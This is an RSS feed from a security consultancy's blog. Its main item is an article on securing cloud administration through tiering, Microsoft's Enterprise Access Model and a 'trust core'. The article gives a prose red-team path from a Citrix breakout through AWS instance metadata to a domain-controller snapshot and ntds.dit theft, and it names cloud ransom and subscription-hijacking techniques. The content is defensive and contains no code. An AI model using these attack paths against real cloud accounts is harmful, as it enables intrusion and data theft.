<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Azure - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/azure-en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/azure-en/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Wed, 28 Jan 2026 09:09:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Azure - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/azure-en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cloud Security: Adapting to a new reality</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 09:09:10 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ABAC]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloud security]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[enterprise access model]]></category>
		<category><![CDATA[IAM Cloud]]></category>
		<category><![CDATA[REX RedTeam]]></category>
		<category><![CDATA[Tiering]]></category>
		<category><![CDATA[Trust Core]]></category>
		<category><![CDATA[Trust Core Cloud]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28917</guid>

					<description><![CDATA[<p>Audits and Red Team assessments led by Wavestone showed a stark imbalance between the maturity of on-premise infrastructure protection and the cloud deployment ones. While on-premise infrastructure are generally well identified, controlled and protected according to proven standards, their cloud...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/">Cloud Security: Adapting to a new reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Audits and Red Team assessments led by Wavestone showed a <strong>stark imbalance between the maturity of on-premise infrastructure protection and the cloud deployment ones.</strong> While on-premise infrastructure are generally well identified, controlled and protected according to proven standards, their cloud counterparts are often underestimated in terms of risks and consequently, insufficiently secured.</p>
<p> </p>
<h2>Is the tiering principle promoted for on-premise infrastructure applicable to the cloud?</h2>
<h3>Evolution of the Security Model</h3>
<p style="text-align: justify;">In on-premises <strong>Active Directory</strong> environments, infrastructure security generally relies on <strong>strict segmentation into three tiers (T0, T1, and T2)</strong>. This allows for the isolation of critical administration systems (T0), servers (T1), and user workstations (T2) in order to limit propagation risks.</p>
<p style="text-align: justify;">This hierarchical and perimeter-based organization is inherent to the AD world and cannot be directly applied to the cloud for the following two main reasons:</p>
<ul style="text-align: justify;">
<li><strong>Portals are centralized</strong>: A wide variety of administrators with different rights.</li>
<li><strong>The boundary between administration levels is more complex</strong>: The principle of granular permissions, whether Role-Based (RBAC), Attribute-Based (ABAC), or conditional (location, risk, compliance, authentication methods, etc.) allows for very precise access configuration, but it complicates and obscures the global view of permissions.</li>
</ul>
<p style="text-align: justify;">To address this new paradigm, Microsoft published its Enterprise Access Model (<span style="color: #333399;"><a style="color: #333399;" href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model">described here</a></span>), highlighting three main planes: the <em>Control Plane</em>, <em>Management Plane</em>, and <em>Data Plane</em>.</p>
<p style="text-align: justify;">This model retains <strong>&#8220;cascading&#8221; criticality</strong> but simplifies it with:</p>
<ul style="text-align: justify;">
<li>the 3 tiers into <strong>2 access types: administrator vs. user</strong>;</li>
<li>the administration flows into portal access;</li>
<li>the server’s criticality is centralized within the <em>Data plane</em><em>.</em></li>
</ul>
<p style="text-align: justify;">Below is a comparative illustration between the old and the new model:</p>
<figure id="attachment_28919" aria-describedby="caption-attachment-28919" style="width: 1666px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="size-full wp-image-28919" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity.png" alt="From the three-tier model to cloud complexity" width="1666" height="823" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity.png 1666w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-387x191.png 387w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-768x379.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-From-the-three-tier-model-to-cloud-complexity-1536x759.png 1536w" sizes="(max-width: 1666px) 100vw, 1666px" /><figcaption id="caption-attachment-28919" class="wp-caption-text"><em>From the three-tier model to cloud complexity</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">This new model particularly highlights 3 elements:</p>
<ul style="text-align: justify;">
<li><strong>User identity</strong>: privileged access vs. user access;</li>
<li><strong>Data and services</strong>: at the expense of servers;</li>
<li>The <strong>method of access</strong> to web administration portals.</li>
</ul>
<p style="text-align: justify;">The inversion of importance between &#8220;servers&#8221; and &#8220;web portals&#8221; abstracting Active Directory is a radical change.</p>
<p style="text-align: justify;">However, very few (if any) large organizations are at this stage of abandoning their &#8220;legacy&#8221; IS; a large part will be in a transitional state where the information system has been virtualized on a cloud in order to move away from its datacenters, but whose administration methods have remained the same.</p>
<p style="text-align: justify;">These companies must deal with an obsolete tiering model and an Enterprise Access Model disconnected from current security risks and needs.</p>
<p style="text-align: justify;">For the remainder of this article, we will take as an example the <strong>Tartampion</strong> company, which has just completed a <strong>3-year Move-to-Cloud program on AWS</strong>. The outcome is as follows:</p>
<ul>
<li style="text-align: justify;">A Landing Zone was created, applications already on AWS were integrated into it</li>
<li style="text-align: justify;">Given the lack of time and resources, a major part of the IS was incorporated via lift and shift, including business, network, bastion, and AD solutions.</li>
<li style="text-align: justify;">The Data Centers were closed</li>
</ul>
<p> </p>
<h3>A problematic hybrid and virtualized IS</h3>
<p style="text-align: justify;">According to the EAM, Azure and AWS portals are displayed at the same level (<em>the management plane</em>) at the T1 tier, without any other form of distinction. However, these 2 cloud environments are in themselves the support for numerous IS, used by multiple collaborators with very varied levels of rights and impacts.</p>
<p style="text-align: justify;">To illustrate the previous points, let us set aside the <em>Digital Workplace</em> aspect (O365 suite) and take 3 AWS accounts from a Tartampion Landing Zone, supporting different infrastructure services:</p>
<figure id="attachment_28921" aria-describedby="caption-attachment-28921" style="width: 1695px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-28921" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types.png" alt="Example of different AWS enterprise account types" width="1695" height="343" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types.png 1695w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-437x88.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-768x155.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-1536x311.png 1536w" sizes="(max-width: 1695px) 100vw, 1695px" /><figcaption id="caption-attachment-28921" class="wp-caption-text"><em>Example of different AWS enterprise account types</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Based on the framework proposed by Microsoft, these <strong>three AWS accounts should belong to the Management plane</strong> with a T1 security level. However, in the event of a compromise of one of the 3 accounts by an attacker, the impacts would be very different.</p>
<p style="text-align: justify;">If the Landing Zone is correctly implemented, the compromise of a Sandbox account would have very little impact, whereas that of the Master Account would lead to the compromise of all underlying accounts and resources.</p>
<p style="text-align: justify;">A more adequate example of segmentation would be the following:</p>
<figure id="attachment_28923" aria-describedby="caption-attachment-28923" style="width: 1689px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-28923" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model.png" alt="Tiering Model extended to the Enterprise Access Model" width="1689" height="713" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-437x184.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-768x324.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-1536x648.png 1536w" sizes="(max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28923" class="wp-caption-text"><em>Tiering Model extended to the Enterprise Access Model</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Microsoft’s Enterprise Access Model is a <strong>macroscopic framework</strong> that allows for initiating a baseline for cloud service segmentation, but <strong>which remains to be adapted</strong> according to the criticality of the concerned IS.</p>
<p style="text-align: justify;">How can it be made relevant? To answer this, it is necessary to understand the attack scenarios exploiting cloud services.</p>
<p> </p>
<h2>The cloud from an attacker’s perspective</h2>
<h3>5 cloud principles facilitating attacks</h3>
<p style="text-align: justify;">Firstly, <strong>public cloud administration panels are exposed to the Internet by default</strong>, unlike sensitive IS resources. Thus, successful phishing very likely leads to access to the cloud.</p>
<p style="text-align: justify;">Secondly, companies today have <strong>hybrid organizations</strong> (on-premise and cloud):</p>
<ul style="text-align: justify;">
<li>Cloud infrastructures are connected to the rest of the on-premises IS;</li>
<li><strong>Workstations</strong> can also be <strong>hybrid</strong> and managed by a cloud service like Intune. Permissions to use this service are managed in Entra ID;</li>
<li>Identities are often <strong>synchronized accounts</strong>, this also applies to administration accounts.</li>
</ul>
<p style="text-align: justify;">Hybrid organizations can facilitate lateral movement between the cloud and on-premise environments.</p>
<p style="text-align: justify;">Thirdly, <strong>identity management is very complex with different scopes</strong>. For example, Entra ID allows managing access to Azure and M365 for users, as well as for applications and service accounts.</p>
<p style="text-align: justify;">In addition, cybersecurity concepts related to the cloud are still relatively new and unfamiliar to certain &#8220;legacy&#8221; teams, such as the SOC/CERT, network, etc. <strong>The most sensitive cloud resources are not systematically identified, protected, and monitored</strong>.</p>
<p style="text-align: justify;">Finally, even if native detection mechanisms are present, they are <strong>not always interconnected with SIEM/SOAR</strong>, which slows down response capabilities. Moreover, a recent Purple Team operation conducted on Azure and AWS infrastructure confirmed that <strong>native detection tools have limited detection capacity</strong>. This is an observation also found in Red Teams since, with an &#8220;OpSec&#8221; approach,<strong> cloud detection tools are rarely able to identify an ongoing attack</strong>.</p>
<p> </p>
<h3>Feedback from our penetration tests &amp; Red Team</h3>
<p style="text-align: justify;">Derived from recent Red Team operations, these cloud-specific attack paths demonstrate the impact and the ease with which it is possible to escalate privileges to obtain highly permissive access:</p>
<figure id="attachment_28925" aria-describedby="caption-attachment-28925" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28925" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments.png" alt="Examples of Cloud attack paths exploited in Red Team assessments" width="1684" height="803" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-401x191.png 401w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-768x366.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-1536x732.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28925" class="wp-caption-text"><em>Examples of Cloud attack paths exploited in Red Team assessments</em></figcaption></figure>
<p style="text-align: justify;">The first scenario, carried out on AWS, is described below; the other two were analyzed in a series of Risk Insight articles available <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/en/2025/01/enterprise-access-model-1-2-how-to-scope-your-control-plane-to-secure-your-cloud-administration-and-prevent-a-global-cloud-compromise/">here</a></span>.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Reconnaissance and Initial Access</span></em></strong></p>
<p style="text-align: justify;">Categories of employees are <strong>generally targeted in order to compromise a person with interesting rights in the IS (Developer, Support, OPS&#8230;)</strong>. A frequently used method is <strong>phishing</strong>. <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Current phishing</a></span> mechanisms can bypass the use of complex passwords and most MFA (Multi-Factor Authentication) methods.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Privilege Escalation and Lateral Movements</span></em></strong></p>
<p style="text-align: justify;">In the first scenario, a compromised developer possessed access to a Citrix farm. <strong>Citrix environments are not simple to completely harden</strong>, and a few breakout vulnerabilities allowed the Red Team to gain access to the underlying server.</p>
<p style="text-align: justify;">Information gathered on the machine indicated that the server could be hosted on AWS. This was verified by trying to <strong>access the server&#8217;s AWS metadata</strong>: the instance had rights on the client&#8217;s AWS account. The Citrix virtual machine possessed the &#8220;<strong>AmazonEC2FullAccess</strong>&#8221; role allowing it management actions on EC2s in the same AWS account.</p>
<p style="text-align: justify;">Using the AWS CLI, the other EC2s were listed. A Domain Controller was present in this AWS account. It is a common practice to regroup services intended to be used by several projects into a single account, generally called &#8220;Shared Services&#8221;. It is nevertheless recommended to <strong>verify that the criticality of shared services is homogeneous to be able to apply adequate hardening</strong> on the account or separate them into several environments.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Actions on trophies</span></em></strong></p>
<p style="text-align: justify;">From the Citrix server AWS role, <strong>a snapshot of the domain controller was taken and then downloaded</strong>. Domain controller backups contain all the machine&#8217;s files, including the most sensitive files like the <strong><em>ntds.dit</em></strong> database, which contains the information and secrets of all domain users. The exfiltration of this database translates to the total compromise of the concerned AD domain.</p>
<p style="text-align: justify;">This scenario illustrates one of the attack paths that were exploited during Red Team operations, facilitated by the lack of visibility regarding the impacts that a compromised resource hosted on the cloud can have.</p>
<p> </p>
<h3>Faster and stronger impacts</h3>
<p style="text-align: justify;">Attacks already possible on an on-premises IS can be <strong>reproduced and even accelerated thanks to cloud features</strong>. For example, the encryption of S3 buckets (file storage service) using a KMS (encryption) key from another AWS account mimics massive data encryption, or the use of the &#8220;lifecycle&#8221; feature allows for the deletion of all objects in less than 24 hours, regardless of the amount of data.</p>
<p style="text-align: justify;">New attacks have also appeared, such as &#8220;<strong>Subscription Hijacking</strong>&#8221; which allows <strong>transferring an Azure organization&#8217;s subscription to another</strong> and thus stealing all the data it contains while preventing remediation actions. This attack is achievable in a few clicks from the Azure web interface.</p>
<p> </p>
<h2>Identification and protection of the cloud trust core</h2>
<h3>Identification</h3>
<p style="text-align: justify;">The <strong>trust core </strong>adopts an approach focused on asset prioritization, which differs from the tiering model or Microsoft’s Enterprise Access Model. Unlike these models which offer a predefined segmentation, there is no universal grid: each organization must identify for itself which resources deserve the highest level of protection. The idea is to establish <strong>a restricted circle of critical resources</strong> (whether cloud or on premises) and then <strong>deploy decreasing levels of protection as one moves away from this core</strong>.</p>
<p style="text-align: justify;">The identification of the trust core relies on <strong>two main criteria</strong>:</p>
<ul style="text-align: justify;">
<li><em>Business Criticality</em>: these are the resources that concentrate the value and business continuity of the company. If they were to be lost or compromised, the consequences would be immediate for daily operations and financially. A SharePoint environment containing intellectual property / patents is a common example;</li>
<li><em>IS Criticality</em>: these are the resources that ensure the administration of the information system and which possess a high level of access. Their compromise would have a major impact on the entire IS and would allow for the business impact previously mentioned. Here we find domain controllers or cloud IAM services like Entra ID and AWS Identity Center.</li>
</ul>
<p style="text-align: justify;"><em> </em></p>
<p style="text-align: justify;">This mapping is never totally clear-cut. For certain elements, the posture to adopt remains vague; two examples illustrate this well:</p>
<ul style="text-align: justify;">
<li><em>EDR</em>: an obvious security element of an IS, systematically deployed on both workstations <strong>and</strong> cloud and on-premises servers, its administration console is increasingly exposed to the internet, and allows executing arbitrary commands on the devices equipped with it.</li>
<li><em>CI/CD pipelines</em>: a clever but complex agglomeration of applications calling each other, whose access (the code repository: GitLab, GitHub…) is accessible by all collaborators and the runner permissions are very often administrator over the entire cloud infrastructure. <strong>Out of all Red Teams conducted in 2024 &amp; 2025, 80% exploited vulnerabilities associated</strong> with these solutions to progress in their operation or even obtain compromise trophies through these means.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In order to identify the center of the trust core, which we will call the <strong>security foundation</strong>, we can revisit the precepts of the old T0: the compromise of one of its elements would probably lead to that of the others, and by cascade, of the major part of the IS.</p>
<p style="text-align: justify;">Assuming that your applications apply correct inter-user segregation (all of your SharePoint sites are not accessible by everyone, are they?), references to the next applications should be understood as <strong>administrator</strong> <strong>/ super-user access</strong> to them, and not simple user.</p>
<p style="text-align: justify;">Here is one possible representation of a hybrid trust core:</p>
<figure id="attachment_28927" aria-describedby="caption-attachment-28927" style="width: 1681px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28927" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust.png" alt="Protect the essential, your core of trust" width="1681" height="997" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust.png 1681w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-768x456.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-1536x911.png 1536w" sizes="auto, (max-width: 1681px) 100vw, 1681px" /><figcaption id="caption-attachment-28927" class="wp-caption-text"><em>Protect the essential, your core of trust</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In this representation, on the on-premise side, we can observe:</p>
<ul style="text-align: justify;">
<li><em>The T0,</em> with its domain controllers, ADCS, and potentially the PKI, the bastion, the EDR console…</li>
<li><em>The T1,</em> integrating additionally high-impact business applications.</li>
</ul>
<p style="text-align: justify;">And on the cloud side, we find:</p>
<ul style="text-align: justify;">
<li>At the core, the <strong>Control Plane</strong> (AWS Orga &amp; Identity Center, Entra ID) as well as the Landing Zone modules supporting <strong>T0</strong> (if part of T0 is hosted in the cloud);</li>
<li>Moving outward, the various <strong>administration consoles</strong> for productivity suites, and for infrastructure or application management.</li>
</ul>
<p style="text-align: justify;">When establishing this diagram, it is important to keep in mind that:</p>
<ul style="text-align: justify;">
<li><strong>IT serves the business</strong>, and even though the central zone of the trust core is mainly occupied by technical components, critical solutions should be included;</li>
<li><strong>Dependency/compromise chains</strong> have a significant impact on <strong>architectural choices</strong>: positioning an AD on AWS, or deploying an EDR on an AD can suddenly create numerous paths for compromise and pivoting between the 2 worlds.</li>
</ul>
<p style="text-align: justify;">Finally, building a trust core cannot be limited to a static classification logic. It must rely on <strong>an approach that evaluates the criticality of each asset and the risk it introduces</strong> (a software development company will surely not position its Git at the same level as a civil engineering company).</p>
<p> </p>
<h3>Protection of the cloud trust core</h3>
<p style="text-align: justify;">The security of the trust core will rely on the two traditional risk factors:</p>
<ul>
<li style="text-align: justify;"><em>Reduce impact</em>: How to prevent a compromised or malicious user from connecting to cloud portals via a browser and performing sensitive actions in a few clicks, such as backing up a domain controller hosted on a VM or deleting production data backups?</li>
<li style="text-align: justify;"><em>Reduce probability:</em> How to reduce the risks of illegitimate access from a session cookie stolen via phishing, workstation compromising, or user password reuse?</li>
</ul>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection of the cloud security foundation</span></em></strong></p>
<p style="text-align: justify;">Regarding the cloud &#8220;security foundation,&#8221; it is possible to prioritize environments by criticality according to this macroscopic scale:</p>
<figure id="attachment_28929" aria-describedby="caption-attachment-28929" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28929" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation.png" alt="The main levels of the cloud security foundation" width="1680" height="709" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-437x184.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-768x324.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-1536x648.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-28929" class="wp-caption-text"><em>The main levels of the cloud security foundation</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Depending on the teams involved and the complexity of including them in a particularly high protection level, some organizations choose to exclude environments whose compromise would not allow for dangerous lateral movement, such as those for FinOps, detection, the Digital Workplace…</p>
<p style="text-align: justify;">Securing the cloud security foundation relies on 2 main points:</p>
<ul style="text-align: justify;">
<li>Impeccable <strong>hygiene</strong>: streamlined IAM configuration, least privilege strategy, deployment procedures, limitation of resources to the strict minimum…</li>
<li>A passive / active security layer: deployment of <strong>policies</strong> (SCP on AWS, Policy on Azure) explicitly forbidding certain actions, or the manipulation of certain resources, and <strong>detection rules</strong> to trigger an alert in the event of a policy modification or the occurrence of one of its protected events.</li>
</ul>
<p style="text-align: justify;">These policies can be effectively associated with a <strong>tagging strategy</strong> to apply, in addition to the RBAC (Role Based Access Control) model, an ABAC (Attribute Based Access Control) model.</p>
<p style="text-align: justify;">For example, it is possible to tag different resources with a &#8220;tiering&#8221; key and a value between &#8220;T0&#8221;, &#8220;T1&#8221;, &#8220;T2&#8221; and then deploy this set of strategies:</p>
<ul style="text-align: justify;">
<li>Prohibit any action targeting a resource tagged &#8220;tiering&#8221; by an identity whose own tiering tag value is not equivalent;</li>
<li>Prohibit the manipulation of tiering tags, except for a specific role.</li>
</ul>
<p style="text-align: justify;">And that is how, with a few tags and 2 SCPs, it is possible to replicate the Microsoft tiering model (some exceptions may occur).</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection of identities and access</span></em></strong></p>
<p style="text-align: justify;">To protect users, 3 hardening themes can be implemented:</p>
<ul style="text-align: justify;">
<li><em>Identity</em>: With which account does the user connect to cloud administration interfaces? How are rights obtained?</li>
<li><em>MFA</em>: Is the identity protected with multi-factor authentication resistant to phishing attacks?</li>
<li><em>Origin</em>: From which platform does the user connect to cloud administration interfaces? Is the platform managed, and healthy?</li>
</ul>
<p style="text-align: justify;">Several levels of protection are conceivable in order to protect cloud administrators:</p>
<figure id="attachment_28931" aria-describedby="caption-attachment-28931" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28931" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level.png" alt="Aligning the protection level with the risk level" width="1684" height="819" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-393x191.png 393w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-768x374.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-1536x747.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28931" class="wp-caption-text"><em>Aligning the protection level with the risk level</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">To protect the <strong>restricted trust core</strong>, represented by the triple padlocks, it is recommended to implement the <strong>most robust authentication factors</strong>. This includes the use of a dedicated account for cloud administration, the activation of physical multi-factor authentication (example: FIDO2 security key), and the use of a workstation specifically reserved for operations on this trust core (this last one is not often implemented).</p>
<p style="text-align: justify;">For <strong>resources further from the center</strong> of the core of trust, symbolized by the double padlocks, <strong>a hardened but proportionate security level can be applied</strong>, in order to strengthen protection to control costs and reduce excessive constraints on the users concerned.</p>
<p style="text-align: justify;">Ultimately, the <strong>most secure methods are also those that imply the most constraints for the people concerned</strong>, usage must be controlled (limiting day-to-day operations) and emergency situations considered.</p>
<p> </p>
<h3>Repeat Operations</h3>
<p style="text-align: justify;">At the end of the identification and protection phases, resources will be distributed across the different layers of the core of trust.</p>
<p style="text-align: justify;">To verify the proper implementation of the core of trust, <strong>an audit can be conducted to verify the proper protection of the critical resources</strong> that compose it.</p>
<p style="text-align: justify;">An information system is always evolving, but the first two phases will have been performed at a given moment. <strong>New critical resources may be added, others modified or even deleted</strong>. It is essential to <strong>regularly re-evaluate the IS</strong> and update the distribution of resources within the core of trust.</p>
<h2 style="text-align: justify;"> </h2>
<p style="text-align: justify;">In conclusion, information system security now operates within a context of <strong>increasing complexity and strong diversification </strong>of infrastructure components and services.</p>
<p style="text-align: justify;">In this context, it appears increasingly complex to define a universal security model. Certain frameworks retain all their relevance within well-identified perimeters: tiering remains a reference for securing Active Directory, just like the EAM for cloud environments strongly centered on the Microsoft ecosystem. Nevertheless, these models quickly reach their limits as soon as one moves away from these specific use cases.</p>
<p style="text-align: justify;">For the majority of information systems, an approach based on risk analysis therefore stands out as the most relevant. Identifying a core of trust, clearly defining critical assets &#8211; <em>the crown jewels</em> &#8211; and deriving security measures from these elements allow for building a more pragmatic security posture, adapted to the reality of the IS and capable of evolving with it. This logic, less normative but more contextualized, undoubtedly constitutes one of the major levers for reconciling security, agility, and sustainability of information systems.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/">Cloud Security: Adapting to a new reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Phishing: Pushing Evilginx to its limit</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:33 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26694</guid>

					<description><![CDATA[<p>Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network. Usually, threat actors try to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
